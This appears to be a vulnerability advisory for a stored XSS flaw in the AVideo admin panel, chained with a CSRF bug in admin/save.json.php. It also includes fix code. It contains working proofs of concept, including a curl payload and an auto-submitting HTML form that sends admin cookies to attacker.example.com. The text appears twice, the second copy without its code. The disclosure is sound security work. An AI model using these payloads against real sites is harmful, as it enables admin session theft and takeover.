Summary
The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.
This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.
Details
The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:
Textarea injection (line 47):
// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>";The $valueJson->value is placed directly between textarea tags without encoding.
Select option injection (line 55):
// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.
Input type and value injection (lines 62-63):
// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>";Both type and value attributes are unescaped, enabling attribute injection.
Fallback input injection (line 75):
// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>";The raw $valueJson string is placed into the value attribute without encoding.
Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.
Proof of Concept
Method 1: Direct exploitation (requires admin session)
# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
-X POST "https://your-avideo-instance.com/admin/save.json.php" \
-d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"
When any admin visits the plugin configuration page, the payload fires.
Method 2: Cross-origin chain with CSRF (no authentication required)
Create the following HTML page and trick an admin into visiting it:
<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="xss" method="POST"
action="https://your-avideo-instance.com/admin/save.json.php">
<input type="hidden" name="name" value="Gallery" />
<input type="hidden" name="parameter" value="description" />
<input type="hidden" name="value"
value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" />
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>The payload breaks out of the value attribute in the rendered input element:
<!-- Rendered HTML in admin panel -->
<input class='form-control' type='text'
value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''
name='description' id='description'/>Impact
An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:
-
Steal admin session cookies and CSRF tokens
-
Create new admin accounts
-
Modify site configuration (enable file uploads, disable security features)
-
Inject persistent JavaScript into public-facing pages via site-wide settings
-
Pivot to server-side code execution via plugin upload functionality
-
CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
-
Severity: High
Recommended Fix
Apply htmlspecialchars($value, ENT_QUOTES, 'UTF-8') to all user-controlled values rendered in admin/functions.php:
// admin/functions.php:47 - textarea content
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "</textarea>";
// admin/functions.php:55 - select option
$html .= "<option value='" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . "</option>";
// admin/functions.php:62-63 - input type and value
$html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENT_QUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
// admin/functions.php:75 - fallback input
$html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
Found by aisafe.io
References
adrgs Reporter
aisafe-bot Finder
Summary
The AVideo admin panel renders plugin configuration values in HTML forms without applying
htmlspecialchars()or any other output encoding. ThejsonToFormElements()function inadmin/functions.phpdirectly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF onadmin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.This vulnerability chains with AVI-046 (CSRF on
save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.Details
The
jsonToFormElements()function inadmin/functions.phpcontains multiple unsafe output points where configuration values are rendered without escaping:Textarea injection (line 47):
The
$valueJson->valueis placed directly between textarea tags without encoding.Select option injection (line 55):
Both
$keyand$valueare inserted without encoding, allowing attribute breakout and HTML injection.Input type and value injection (lines 62-63):
Both
typeandvalueattributes are unescaped, enabling attribute injection.Fallback input injection (line 75):
The raw
$valueJsonstring is placed into thevalueattribute without encoding.Configuration values are saved via
admin/save.json.php, which lacks CSRF token validation.Proof of Concept
Method 1: Direct exploitation (requires admin session)
When any admin visits the plugin configuration page, the payload fires.
Method 2: Cross-origin chain with CSRF (no authentication required)
Create the following HTML page and trick an admin into visiting it:
The payload breaks out of the
valueattribute in the rendered input element:Impact
An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on
save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:Steal admin session cookies and CSRF tokens
Create new admin accounts
Modify site configuration (enable file uploads, disable security features)
Inject persistent JavaScript into public-facing pages via site-wide settings
Pivot to server-side code execution via plugin upload functionality
CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Severity: High
Recommended Fix
Apply
htmlspecialchars($value, ENT_QUOTES, 'UTF-8')to all user-controlled values rendered inadmin/functions.php:Found by aisafe.io
References